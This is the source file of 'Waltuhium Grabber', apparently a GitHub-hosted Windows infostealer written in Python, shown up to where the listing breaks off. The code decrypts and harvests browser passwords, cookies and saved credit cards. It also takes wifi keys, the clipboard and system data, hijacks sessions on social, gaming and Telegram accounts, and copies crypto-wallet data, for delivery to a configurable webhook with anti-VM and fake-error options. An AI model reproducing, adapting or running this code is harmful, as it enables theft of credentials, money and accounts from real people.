-
Notifications
You must be signed in to change notification settings - Fork 0
/
Waltuhium.py
2406 lines (2290 loc) · 143 KB
/
Waltuhium.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Waltuhium Grabber All Rights Recieved
# Coded by Waltuh
# https://t.me/waltuhium
import ctypes, platform
import json, sys
import shutil
import sqlite3
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import re
import os
import asyncio
import aiohttp
import base64
import time
webhook = '%WEBHOOK%'
discord_injection = bool("%injection%")
startup_method = "%startup_method%".lower()
Anti_VM = bool("%Anti_VM%")
FakeError = (bool("%fake_error%"), ("System Error", "The Program can't start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem", 0))
StealFiles = bool("%StealCommonFiles%")
class Variables:
Passwords = list()
Cards = list()
Cookies = list()
Historys = list()
Downloads = list()
Autofills = list()
Bookmarks = list()
Wifis = list()
SystemInfo = list()
ClipBoard = list()
Processes = list()
Network = list()
FullTokens = list()
ValidatedTokens = list()
DiscordAccounts = list()
SteamAccounts = list()
InstagramAccounts = list()
TwitterAccounts = list()
TikTokAccounts = list()
RedditAccounts = list()
TwtichAccounts = list()
SpotifyAccounts = list()
RobloxAccounts = list()
RiotGameAccounts = list()
class SubModules:
# Calls the CryptUnprotectData function from crypt32.dll
@staticmethod
def CryptUnprotectData(encrypted_data: bytes, optional_entropy: str= None) -> bytes:
class DATA_BLOB(ctypes.Structure):
_fields_ = [
("cbData", ctypes.c_ulong),
("pbData", ctypes.POINTER(ctypes.c_ubyte))
]
pDataIn = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))
pDataOut = DATA_BLOB()
pOptionalEntropy = None
if optional_entropy is not None:
optional_entropy = optional_entropy.encode("utf-16")
pOptionalEntropy = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))
if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(pDataIn), None, ctypes.byref(pOptionalEntropy) if pOptionalEntropy is not None else None, None, None, 0, ctypes.byref(pDataOut)):
data = (ctypes.c_ubyte * pDataOut.cbData)()
ctypes.memmove(data, pDataOut.pbData, pDataOut.cbData)
ctypes.windll.Kernel32.LocalFree(pDataOut.pbData)
return bytes(data)
raise ValueError("Invalid encrypted_data provided!")
@staticmethod
def GetKey(FilePath:str) -> bytes:
with open(FilePath,"r", encoding= "utf-8", errors= "ignore") as file:
jsonContent: dict = json.load(file)
encryptedKey: str = jsonContent["os_crypt"]["encrypted_key"]
encryptedKey = base64.b64decode(encryptedKey.encode())[5:]
return SubModules.CryptUnprotectData(encryptedKey)
@staticmethod
def Decrpytion(EncrypedValue: bytes, EncryptedKey: bytes) -> str:
try:
version = EncrypedValue.decode(errors="ignore")
if version.startswith("v10") or version.startswith("v11"):
iv = EncrypedValue[3:15]
password = EncrypedValue[15:]
authentication_tag = password[-16:] # Extract the last 16 bytes as the authentication tag
password = password[:-16] # Remove the authentication tag from the password
backend = default_backend()
cipher = Cipher(algorithms.AES(EncryptedKey), modes.GCM(iv, authentication_tag), backend=backend)
decryptor = cipher.decryptor()
decrypted_password = decryptor.update(password) + decryptor.finalize()
return decrypted_password.decode('utf-8')
else:
return str(SubModules.CryptUnprotectData(EncrypedValue))
except:
return "Decryption Error!, Data cant be decrypt"
@staticmethod
def create_mutex(mutex_value) -> bool:
kernel32 = ctypes.windll.kernel32 #kernel32.dll
mutex = kernel32.CreateMutexA(None, False, mutex_value) # creating mutex
return kernel32.GetLastError() != 183 # return if the mutex created successfully or not
@staticmethod
def IsAdmin() -> bool:
try:
return bool(ctypes.windll.shell32.IsUserAnAdmin())
except:
return False
class StealSystemInformation:
async def FunctionRunner(self) -> None:
try:
tasks = [
asyncio.create_task(self.StealSystemInformation()),
asyncio.create_task(self.StealWifiInformation()),
asyncio.create_task(self.StealProcessInformation()),
asyncio.create_task(self.StealNetworkInformation()),
asyncio.create_task(self.StealLastClipBoard()),
]
await asyncio.gather(*tasks)
except Exception as error:
print(f"[-] An error occured while starting processes at the same time for steal system information, Error code => \"{error}\"")
async def GetDefaultSystemEncoding(self) -> str:
try:
cmd = "cmd.exe /c chcp"
process = await asyncio.create_subprocess_shell(cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, shell=True)
stdout, stderr = await process.communicate()
return stdout.decode(errors="ignore").split(":")[1].strip()
except:
return "null"
async def StealSystemInformation(self) -> None:
try:
print("[+] Stealing system information")
current_code_page = await self.GetDefaultSystemEncoding()
result = await asyncio.create_subprocess_shell(r'echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config', stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, shell=True)
stdout, stderr = await result.communicate()
Variables.SystemInfo.append(stdout.decode(current_code_page))
print("[+] System information was successfully stolen")
except Exception as error:
print(f"[-] An error occured while stealing system information, error code => \"{error}\"")
async def StealProcessInformation(self) -> None:
try:
print("[+] Stealing running processes")
process = await asyncio.create_subprocess_shell(
"tasklist /FO LIST",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
shell=True
)
stdout, stderr = await process.communicate()
Variables.Processes.append(stdout.decode(errors="ignore"))
print("[+] Running processes was successfully stolen")
except Exception as error:
print(f"[-] An error occured while stealing process information, => error code \"{error}\"")
async def StealLastClipBoard(self) -> None:
try:
print("[+] Stealing Last ClipBoard Text")
process = await asyncio.create_subprocess_shell(
"powershell.exe Get-Clipboard",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
shell=True
)
stdout, stderr = await process.communicate()
if stdout:
Variables.ClipBoard.append(stdout.decode(errors="ignore"))
print("[+] Last ClipBoard Text was successfully stolen")
except Exception as error:
print(f"[-] An error occured while stealing \"Last Clipboard Text\", => error code \"{error}\"")
async def StealNetworkInformation(self) -> None:
try:
print("[+] Stealing network information")
async with aiohttp.ClientSession() as session:
async with session.get("http://ip-api.com/json") as response:
data = await response.json()
ip = data["query"]
country = data["country"]
city = data["city"]
timezone = data["timezone"]
isp_info = data["isp"] + f" {data['org']} {data['as']}"
Variables.Network.append((ip, country, city, timezone, isp_info))
print("[+] Network information was successfully stolen")
except Exception as error:
print(f"[-] An error occured while stealing network information, => error code \"{error}\"")
async def StealWifiInformation(self) -> None:
try:
print("[+] Stealing wifi passwords")
current_code_page = await self.GetDefaultSystemEncoding()
process = await asyncio.create_subprocess_shell(
"netsh wlan show profiles",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
shell=True)
stdout, stderr = await process.communicate()
decoded_profiles = None
try:
decoded_profiles = stdout.decode(current_code_page)
except:
decoded_profiles = stdout.decode(errors="ignore")
wifi_profile_names = re.findall(r'All User Profile\s*: (.*)', decoded_profiles)
for profile_name in wifi_profile_names:
result = await asyncio.create_subprocess_shell(
f'netsh wlan show profile name="{profile_name}" key=clear',
stdout=asyncio.subprocess.PIPE,
shell=True,
encoding=None
)
stdout, _ = await result.communicate()
try:
profile_output = stdout.decode(current_code_page)
except:profile_output = stdout.decode(errors="ignore")
wifi_passwords = re.search(r'Key content\s*: (.*)', profile_output, re.IGNORECASE)
Variables.Wifis.append((profile_name, wifi_passwords.group(1) if wifi_passwords else "No password found"))
print("[+] Wifi passwords was successfully stolen")
except Exception as error:
print(f"[-] An error occurred while stealing wifi information, error code => \"{error}\"")
class Main:
def __init__(self) -> None:
self.profiles_full_path = list()
self.RoamingAppData = os.getenv('APPDATA')
self.LocalAppData = os.getenv('LOCALAPPDATA')
self.Temp = os.getenv('TEMP')
self.FireFox = bool()
self.FirefoxFilesFullPath = list()
self.FirefoxCookieList = list()
self.FirefoxHistoryList = list()
self.FirefoxAutofiList = list()
async def FunctionRunner(self):
await self.kill_browsers()
self.list_profiles()
self.ListFirefoxProfiles()
taskk = [
asyncio.create_task(self.GetPasswords()),
asyncio.create_task(self.GetCards()),
asyncio.create_task(self.GetCookies()),
asyncio.create_task(self.GetFirefoxCookies()),
asyncio.create_task(self.GetHistory()),
asyncio.create_task(self.GetFirefoxHistorys()),
asyncio.create_task(self.GetDownload()),
asyncio.create_task(self.GetBookMark()),
asyncio.create_task(self.GetAutoFill()),
asyncio.create_task(self.GetFirefoxAutoFills()),
asyncio.create_task(self.GetSteamSession()),
asyncio.create_task(self.GetTokens()),
StealSystemInformation().FunctionRunner()
]
await asyncio.gather(*taskk)
await self.WriteToText()
await self.SendAllData()
def list_profiles(self) -> None:
directorys = {
'Google Chrome' : os.path.join(self.LocalAppData, "Google", "Chrome", "User Data"),
'Opera' : os.path.join(self.RoamingAppData, "Opera Software", "Opera Stable"),
'Opera GX' : os.path.join(self.RoamingAppData, "Opera Software", "Opera GX Stable"),
'Brave' : os.path.join(self.LocalAppData, "BraveSoftware", "Brave-Browser", "User Data"),
'Edge' : os.path.join(self.LocalAppData, "Microsoft", "Edge", "User Data"),
}
for junk, directory in directorys.items():
if os.path.isdir(directory):
if "Opera" in directory:
self.profiles_full_path.append(directory)
else:
for root, folders, files in os.walk(directory):
for folder in folders:
folder_path = os.path.join(root, folder)
if folder == 'Default' or folder.startswith('Profile') or "Guest Profile" in folder:
self.profiles_full_path.append(folder_path)
def ListFirefoxProfiles(self) -> None:
try:
directory = os.path.join(self.RoamingAppData , "Mozilla", "Firefox", "Profiles")
if os.path.isdir(directory):
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
if file.endswith("cookies.sqlite") or file.endswith("places.sqlite") or file.endswith("formhistory.sqlite"):
self.FirefoxFilesFullPath.append(file_path)
except:
pass
async def kill_browsers(self):
process_names = ["chrome.exe", "opera.exe", "edge.exe", "firefox.exe", "brave.exe"]
process = await asyncio.create_subprocess_shell(
'tasklist',
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, stderr = await process.communicate()
if not process.returncode != 0:
output_lines = stdout.decode(errors="ignore").split('\n')
for line in output_lines:
for process_name in process_names:
if process_name.lower() in line.lower():
parts = line.split()
pid = parts[1]
process = await asyncio.create_subprocess_shell(
f'taskkill /F /PID {pid}',
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
await process.communicate()
async def GetFirefoxCookies(self) -> None:
try:
for files in self.FirefoxFilesFullPath:
if "cookie" in files:
database_connection = sqlite3.connect(files)
cursor = database_connection.cursor()
cursor.execute('SELECT host, name, path, value, expiry FROM moz_cookies')
twitch_username = None
twitch_cookie = None
cookies = cursor.fetchall()
for cookie in cookies:
self.FirefoxCookieList.append(f"{cookie[0]}\t{'FALSE' if cookie[4] == 0 else 'TRUE'}\t{cookie[2]}\t{'FALSE' if cookie[0].startswith('.') else 'TRUE'}\t{cookie[4]}\t{cookie[1]}\t{cookie[3]}\n")
if "instagram" in str(cookie[0]).lower() and "sessionid" in str(cookie[1]).lower():
asyncio.create_task(self.InstaSession(cookie[3], "Firefox"))
if "tiktok" in str(cookie[0]).lower() and str(cookie[1]) == "sessionid":
asyncio.create_task(self.TikTokSession(cookie[3], "Firefox"))
if "twitter" in str(cookie[0]).lower() and str(cookie[1]) == "auth_token":
asyncio.create_task(self.TwitterSession(cookie[3], "Firefox"))
if "reddit" in str(cookie[0]).lower() and "reddit_session" in str(cookie[1]).lower():
asyncio.create_task(self.RedditSession(cookie[3], "Firefox"))
if "spotify" in str(cookie[0]).lower() and "sp_dc" in str(cookie[1]).lower():
asyncio.create_task(self.SpotifySession(cookie[3], "Firefox"))
if "roblox" in str(cookie[0]).lower() and "ROBLOSECURITY" in str(cookie[1]):
asyncio.create_task(self.RobloxSession(cookie[3], "Firefox"))
if "twitch" in str(cookie[0]).lower() and "auth-token" in str(cookie[1]).lower():
twitch_cookie = cookie[3]
if "twitch" in str(cookie[0]).lower() and str(cookie[1]).lower() == "login":
twitch_username = cookie[3]
if not twitch_username == None and not twitch_cookie == None:
asyncio.create_task(self.TwitchSession(twitch_cookie, twitch_username, "Firefox"))
twitch_username = None
twitch_cookie = None
if "account.riotgames.com" in str(cookie[0]).lower() and "sid" in str(cookie[1]).lower():
asyncio.create_task(self.RiotGamesSession(cookie[3], "Firefox"))
except:
pass
else:
self.FireFox = True
async def GetFirefoxHistorys(self) -> None:
try:
for files in self.FirefoxFilesFullPath:
if "places" in files:
database_connection = sqlite3.connect(files)
cursor = database_connection.cursor()
cursor.execute('SELECT id, url, title, visit_count, last_visit_date FROM moz_places')
historys = cursor.fetchall()
for history in historys:
self.FirefoxHistoryList.append(f"ID: {history[0]}\nRL: {history[1]}\nTitle: {history[2]}\nVisit Count: {history[3]}\nLast Visit Time: {history[4]}\n====================================================================================\n")
except:
pass
else:
self.FireFox = True
async def GetFirefoxAutoFills(self) -> None:
try:
for files in self.FirefoxFilesFullPath:
if "formhistory" in files:
database_connection = sqlite3.connect(files)
cursor = database_connection.cursor()
cursor.execute("select * from moz_formhistory")
autofills = cursor.fetchall()
for autofill in autofills:
self.FirefoxAutofiList.append(f"{autofill}\n")
except:
pass
else:
self.FireFox = True
async def GetPasswords(self) -> None:
try:
for path in self.profiles_full_path:
BrowserName = "None"
index = path.find("User Data")
if index != -1:
user_data_part = path[:index + len("User Data")]
if "Opera" in path:
user_data_part = path
BrowserName = "Opera"
else:
text = path.split("\\")
BrowserName = text[-4] + " " + text[-3]
key = SubModules.GetKey(os.path.join(user_data_part, "Local State"))
LoginData = os.path.join(path, "Login Data")
copied_file_path = os.path.join(self.Temp, "Logins.db")
shutil.copyfile(LoginData, copied_file_path)
database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select origin_url, username_value, password_value from logins')
logins = cursor.fetchall()
try:
cursor.close()
database_connection.close()
os.remove(copied_file_path)
except:pass
for login in logins:
if login[0] and login[1] and login[2]:
Variables.Passwords.append(f"URL : {login[0]}\nUsername : {login[1]}\nPassword : {SubModules.Decrpytion(login[2], key)}\nBrowser : {BrowserName}\n======================================================================\n")
except:
pass
async def GetCards(self) -> None:
try:
for path in self.profiles_full_path:
index = path.find("User Data")
if index != -1:
user_data_part = path[:index + len("User Data")]
if "Opera" in path:
user_data_part = path
key = SubModules.GetKey(os.path.join(user_data_part, "Local State"))
WebData = os.path.join(path, "Web Data")
copied_file_path = os.path.join(self.Temp, "Web.db")
shutil.copyfile(WebData, copied_file_path)
database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select card_number_encrypted, expiration_year, expiration_month, name_on_card from credit_cards')
cards = cursor.fetchall()
try:
cursor.close()
database_connection.close()
os.remove(copied_file_path)
except:pass
for card in cards:
if card[2] < 10:
month = "0" + str(card[2])
else:month = card[2]
Variables.Cards.append(f"{SubModules.Decrpytion(card[0], key)}\t{month}/{card[1]}\t{card[3]}\n")
except:
pass
async def GetCookies(self) -> None:
try:
for path in self.profiles_full_path:
BrowserName = "None"
index = path.find("User Data")
if index != -1:
user_data_part = path[:index + len("User Data")]
if "Opera" in path:
user_data_part = path
BrowserName = "Opera"
else:
text = path.split("\\")
BrowserName = text[-4] + " " + text[-3]
key = SubModules.GetKey(os.path.join(user_data_part, "Local State"))
CookieData = os.path.join(path, "Network", "Cookies")
copied_file_path = os.path.join(self.Temp, "Cookies.db")
try:
shutil.copyfile(CookieData, copied_file_path)
except:
pass
database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select host_key, name, path, encrypted_value,expires_utc from cookies')
cookies = cursor.fetchall()
try:
cursor.close()
database_connection.close()
os.remove(copied_file_path)
except:pass
twitch_username = None
twitch_cookie = None
for cookie in cookies:
dec_cookie = SubModules.Decrpytion(cookie[3], key)
Variables.Cookies.append(f"{cookie[0]}\t{'FALSE' if cookie[4] == 0 else 'TRUE'}\t{cookie[2]}\t{'FALSE' if cookie[0].startswith('.') else 'TRUE'}\t{cookie[4]}\t{cookie[1]}\t{dec_cookie}\n")
if "instagram" in str(cookie[0]).lower() and "sessionid" in str(cookie[1]).lower():
asyncio.create_task(self.InstaSession(dec_cookie, BrowserName))
if "tiktok" in str(cookie[0]).lower() and str(cookie[1]) == "sessionid":
asyncio.create_task(self.TikTokSession(dec_cookie, BrowserName))
if "twitter" in str(cookie[0]).lower() and str(cookie[1]) == "auth_token":
asyncio.create_task(self.TwitterSession(dec_cookie, BrowserName))
if "reddit" in str(cookie[0]).lower() and "reddit_session" in str(cookie[1]).lower():
asyncio.create_task(self.RedditSession(dec_cookie, BrowserName))
if "spotify" in str(cookie[0]).lower() and "sp_dc" in str(cookie[1]).lower():
asyncio.create_task(self.SpotifySession(dec_cookie, BrowserName))
if "roblox" in str(cookie[0]).lower() and "ROBLOSECURITY" in str(cookie[1]):
asyncio.create_task(self.RobloxSession(dec_cookie, BrowserName))
if "twitch" in str(cookie[0]).lower() and "auth-token" in str(cookie[1]).lower():
twitch_cookie = dec_cookie
if "twitch" in str(cookie[0]).lower() and str(cookie[1]).lower() == "login":
twitch_username = dec_cookie
if not twitch_username == None and not twitch_cookie == None:
asyncio.create_task(self.TwitchSession(twitch_cookie, twitch_username, BrowserName))
twitch_username = None
twitch_cookie = None
if "account.riotgames.com" in str(cookie[0]).lower() and "sid" in str(cookie[1]).lower():
asyncio.create_task(self.RiotGamesSession(dec_cookie, BrowserName))
except:
pass
async def GetWallets(self, copied_path:str) -> None:
try:
wallets_ext_names = {
"MetaMask": "nkbihfbeogaeaoehlefnkodbefgpgknn",
"Binance": "fhbohimaelbohpjbbldcngcnapndodjp",
"Phantom": "bfnaelmomeimhlpmgjnjophhpkkoljpa",
"Coinbase": "hnfanknocfeofbddgcijnmhnfnkdnaad",
"Ronin": "fnjhmkhhmkbjkkabndcnnogagogbneec",
"Exodus": "aholpfdialjgjfhomihkjbmgjidlcdno",
"Coin98": "aeachknmefphepccionboohckonoeemg",
"KardiaChain": "pdadjkfkgcafgbceimcpbkalnfnepbnk",
"TerraStation": "aiifbnbfobpmeekipheeijimdpnlpgpp",
"Wombat": "amkmjjmmflddogmhpjloimipbofnfjih",
"Harmony": "fnnegphlobjdpkhecapkijjdkgcjhkib",
"Nami": "lpfcbjknijpeeillifnkikgncikgfhdo",
"MartianAptos": "efbglgofoippbgcjepnhiblaibcnclgk",
"Braavos": "jnlgamecbpmbajjfhmmmlhejkemejdma",
"XDEFI": "hmeobnfnfcmdkdcmlblgagmfpfboieaf",
"Yoroi": "ffnbelfdoeiohenkjibnmadjiehjhajb",
"TON": "nphplpgoakhhjchkkhmiggakijnkhfnd",
"Authenticator": "bhghoamapcdpbohphigoooaddinpkbai",
"MetaMask_Edge": "ejbalbakoplchlghecdalmeeeajnimhm",
"Tron": "ibnejdfjmmkpcnlpebklmnkoeoihofec",}
wallet_local_paths = {
"Bitcoin": os.path.join(self.RoamingAppData, "Bitcoin", "wallets"),
"Zcash": os.path.join(self.RoamingAppData, "Zcash"),
"Armory": os.path.join(self.RoamingAppData, "Armory"),
"Bytecoin": os.path.join(self.RoamingAppData, "bytecoin"),
"Jaxx": os.path.join(self.RoamingAppData, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb"),
"Exodus": os.path.join(self.RoamingAppData, "Exodus", "exodus.wallet"),
"Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),
"Electrum": os.path.join(self.RoamingAppData, "Electrum", "wallets"),
"AtomicWallet": os.path.join(self.RoamingAppData, "atomic", "Local Storage","leveldb"),
"Guarda": os.path.join(self.RoamingAppData, "Guarda", "Local Storage","leveldb"),
"Coinomi": os.path.join(self.RoamingAppData, "Coinomi", "Coinomi", "wallets"),
}
os.mkdir(os.path.join(copied_path, "Wallets"))
for path in self.profiles_full_path:
ext_path = os.path.join(path, "Local Extension Settings")
if os.path.exists(ext_path):
for wallet_name, wallet_addr in wallets_ext_names.items():
if os.path.isdir(os.path.join(ext_path, wallet_addr)):
try:
splited = os.path.join(ext_path, wallet_addr).split("\\")
file_name = f"{splited[5]} {splited[6]} {splited[8]} {wallet_name}"
os.makedirs(copied_path + "\\Wallets\\" + file_name)
shutil.copytree(os.path.join(ext_path, wallet_addr), os.path.join(copied_path, "Wallets", file_name, wallet_addr))
except:
continue
for wallet_names, wallet_paths in wallet_local_paths.items():
try:
if os.path.exists(wallet_paths):
shutil.copytree(wallet_paths, os.path.join(copied_path, "Wallets", wallet_names))
except:continue
except:
pass
async def GetHistory(self) -> None:
try:
for path in self.profiles_full_path:
HistoryData = os.path.join(path, "History")
copied_file_path = os.path.join(self.Temp, "HistoryData.db")
shutil.copyfile(HistoryData, copied_file_path)
database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select id, url, title, visit_count, last_visit_time from urls')
historys = cursor.fetchall()
try:
cursor.close()
database_connection.close()
os.remove(copied_file_path)
except:pass
for history in historys:
Variables.Historys.append(f"ID : {history[0]}\nURL : {history[1]}\nitle : {history[2]}\nVisit Count : {history[3]}\nLast Visit Time {history[4]}\n====================================================================================\n")
except:
pass
async def GetAutoFill(self) -> None:
try:
for path in self.profiles_full_path:
AutofillData = os.path.join(path, "Web Data")
copied_file_path = os.path.join(self.Temp, "AutofillData.db")
shutil.copyfile(AutofillData, copied_file_path)
database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select * from autofill')
autofills = cursor.fetchall()
try:
cursor.close()
database_connection.close()
os.remove(copied_file_path)
except:pass
for autofill in autofills:
if autofill:
Variables.Autofills.append(f"{autofill}\n")
except Exception as e:print(e)
async def GetBookMark(self) -> None:
try:
for path in self.profiles_full_path:
BookmarkData = os.path.join(path, "Bookmarks")
if os.path.isfile(BookmarkData):
with open(BookmarkData, "r", encoding="utf-8", errors="ignore") as file:
data = json.load(file)
data = data["roots"]["bookmark_bar"]["children"]
if data:
Variables.Bookmarks.append(f"Browser Path : {path}\nID : {data['id']}\nName : {data['name']}\nURL : {data['url']}\nGUID : {data['guid']}\nAdded At : {data['date_added']}\n\n=========================================================")
except:
pass
async def GetDownload(self) -> None:
try:
for path in self.profiles_full_path:
DownloadData = os.path.join(path, "History")
copied_file_path = os.path.join(self.Temp, "DownloadData.db")
shutil.copyfile(DownloadData, copied_file_path)
database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select tab_url, target_path from downloads')
downloads = cursor.fetchall()
try:
cursor.close()
database_connection.close()
os.remove(copied_file_path)
except:pass
for download in downloads:
Variables.Downloads.append(f"Downloaded URL: {download[0]}\nDownloaded Path: {download[1]}\n\n")
except:
pass
async def StealUplay(self, uuid:str) -> None:
try:
found_ubisoft = False
ubisoft_path = os.path.join(self.LocalAppData, "Ubisoft Game Launcher")
copied_path = os.path.join(self.Temp, uuid, "Games", "Uplay")
if os.path.isdir(ubisoft_path):
if not os.path.exists(copied_path):
os.mkdir(copied_path)
for file in os.listdir(ubisoft_path):
name_of_files = os.path.join(ubisoft_path, file)
try:
shutil.copy(name_of_files, os.path.join(copied_path, file))
found_ubisoft = True
except:
continue
if found_ubisoft == True:
os.mkdir(os.path.join(copied_path, "How to Use"))
with open(os.path.join(copied_path,"How to Use", "How to Use.txt"), "a", errors="ignore") as write_file:
write_file.write("https://t.me/waltuhium\n==============================================\n")
write_file.write("First, open this file path on your computer <%localappdata%\\Ubisoft Game Launcher>.\nDelete all the files here, then copy the stolen files to this folder.\nAfter all this run ubisoft")
except:
pass
async def StealEpicGames(self, uuid:str) -> None:
try:
found_epic = False
epic_path = os.path.join(self.LocalAppData, "EpicGamesLauncher", "Saved", "Config", "Windows")
copied_path = os.path.join(self.Temp, uuid, "Games", "Epic Games")
if os.path.isdir(epic_path):
if not os.path.exists(copied_path):
os.mkdir(copied_path)
try:
shutil.copytree(epic_path, os.path.join(copied_path, "Windows"))
found_epic = True
except:
pass
if found_epic == True:
with open(os.path.join(copied_path, "How to Use.txt"), "a", errors="ignore") as write_file:
write_file.write("https://t.me/waltuhium\n==============================================\n")
write_file.write("First, open this file path on your computer <%localappdata%\\EpicGamesLauncher\\Saved\\Config\\Windows>.\nDelete all the files here, then copy the stolen files to this folder.\nAfter all this run epic games")
except Exception as e:
print(str(e))
async def StealGrowtopia(self, uuid:str) -> None:
try:
found_growtopia = False
growtopia_path = os.path.join(self.LocalAppData, "Growtopia", "save.dat")
copied_path = os.path.join(self.Temp, uuid, "Games", "Growtopia")
if os.path.isfile(growtopia_path):
found_growtopia = True
shutil.copy(growtopia_path, os.path.join(copied_path, "save.dat"))
if found_growtopia == True:
os.mkdir(os.path.join(copied_path, "How to Use"))
with open(os.path.join(copied_path, "How to Use", "How to Use.txt"), "a", errors="ignore") as write_file:
write_file.write("https://t.me/waltuhium\n==============================================\n")
write_file.write("First, open this file path on your computer <%localappdata%\\Growtopia>.\nReplace 'save.dat' with the stolen file.")
except:
pass
async def StealTelegramSession(self, directory_path: str) -> None:
try:
found_tg = False
tg_path = os.path.join(self.RoamingAppData, "Telegram Desktop", "tdata")
if os.path.exists(tg_path):
copy_path = os.path.join(directory_path, "Telegram Session")
